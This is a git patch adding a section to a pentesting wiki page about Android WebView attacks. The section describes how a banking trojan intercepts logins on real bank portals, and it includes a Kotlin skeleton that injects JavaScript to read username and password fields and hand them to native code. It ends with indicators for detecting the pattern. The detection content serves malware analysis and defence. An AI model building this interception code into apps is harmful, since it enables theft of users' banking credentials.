From a8a3f8b379f413aa099e57baea0bce67b230c523 Mon Sep 17 00:00:00 2001
From: HackTricks News Bot <bot@hacktricks.xyz>
Date: Sat, 12 Sep 2026 15:37:12 +0000
Subject: [PATCH] Add content from: Mobile Malware Analysis Part 8: deVixor
 Android Banking Troj...

---
 .../android-app-pentesting/webview-attacks.md | 42 +++++++++++++++++++
 1 file changed, 42 insertions(+)

diff --git a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md
index 195e7c0a10c..edf8a464410 100644
--- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md
+++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md
@@ -550,6 +550,46 @@ Practical notes:<sup>[[13]](#references)</sup>
 - Re-check trust after redirects/navigation and remove the bridge when leaving trusted origins.
 - To confirm token exfiltration really came from the in-app WebView, inspect the request for a `; wv` WebView user-agent marker, the app package in `X-Requested-With`, and the expected first-party `Referer`.
 
+## Credential interception inside an attacker-controlled WebView
+
+A malicious application does not need to clone a login page: it can load the **legitimate HTTPS portal** in its own JavaScript-enabled WebView and inspect that page's DOM. TLS still protects the network connection, but not input values from the application that owns the renderer. One observed banking-trojan pattern selects a target-specific tuple of login URL, username/password CSS selectors, submit selector, and target identifier; after the page loads, injected JavaScript reads the real form and forwards credentials to native code through a registered JavaScript interface.<sup>[[23]](#references)[[24]](#references)</sup>
+
+The core pattern is:<sup>[[24]](#references)</sup>
+
+<details>
+<summary>Selector-based WebView credential interception skeleton</summary>
+
+```kotlin
+web.settings.javaScriptEnabled = true
+web.settings.domStorageEnabled = true
+web.addJavascriptInterface(CredentialBridge(targetId), "Android")
+web.webViewClient = object : WebViewClient() {
+    override fun onPageFinished(v: WebView, url: String) {
+        v.evaluateJavascript("""
+          (() => {
+            const u = document.querySelector('USER_SELECTOR');
+            const p = document.querySelector('PASS_SELECTOR');
+            const b = document.querySelector('SUBMIT_SELECTOR');
+            if (u && p && b) b.addEventListener('click', () =>
+              Android.capture(u.value, p.value), true);
+          })();
+        """.trimIndent(), null)
+    }
+}
+web.loadUrl(LOGIN_URL)
+```
+
+</details>
+
+The bridge method annotated with `@JavascriptInterface` can attach the target identifier, serialize the values, and exfiltrate them asynchronously while the original form submission continues. For forms whose nodes appear after `onPageFinished()`, the hook may poll with `setTimeout()` until all configured selectors resolve. This implementation is convincing but fragile: changes to the target site's element IDs, component structure, or submission flow can invalidate the selector tuple.<sup>[[24]](#references)</sup>
+
+Static-analysis hunting should correlate these artifacts rather than flagging JavaScript-enabled WebViews alone:<sup>[[24]](#references)</sup>
+
+- `setJavaScriptEnabled(true)` and `setDomStorageEnabled(true)` next to both `addJavascriptInterface()` and `evaluateJavascript()`/`loadUrl("javascript:...")`.
+- JavaScript assembled in `WebViewClient.onPageFinished()` that calls `querySelector()`, reads `.value`, and attaches `click`/`submit` listeners.
+- Configuration objects containing an HTTPS URL plus several CSS selectors and a target/type key.
+- `@JavascriptInterface` methods accepting username/password-like pairs and immediately starting JSON serialization, a coroutine/background task, or a C2 request.
+
 
 ## References
 
@@ -575,5 +615,7 @@ Practical notes:<sup>[[13]](#references)</sup>
 - [20] [Android Developers: `OpenableColumns`](https://developer.android.com/reference/android/provider/OpenableColumns)
 - [21] [Android Developers: `ParcelFileDescriptor.createPipe()`](https://developer.android.com/reference/android/os/ParcelFileDescriptor#createPipe())
 - [22] [Apache Cordova: `resume` event](https://cordova.apache.org/docs/en/latest/cordova/events/events.html#resume)
+- [23] [Cyble Research and Intelligence Labs: deVixor Android Banking RAT Targeting Iran](https://cyble.com/blog/devixor-android-banking-rat-ransomware-iran/)
+- [24] [8kSec Research Team: Mobile Malware Analysis Part 8 - deVixor](https://8ksec.io/mobile-malware-analysis-part-8-devixor)
 
 {{#include ../../banners/hacktricks-training.md}}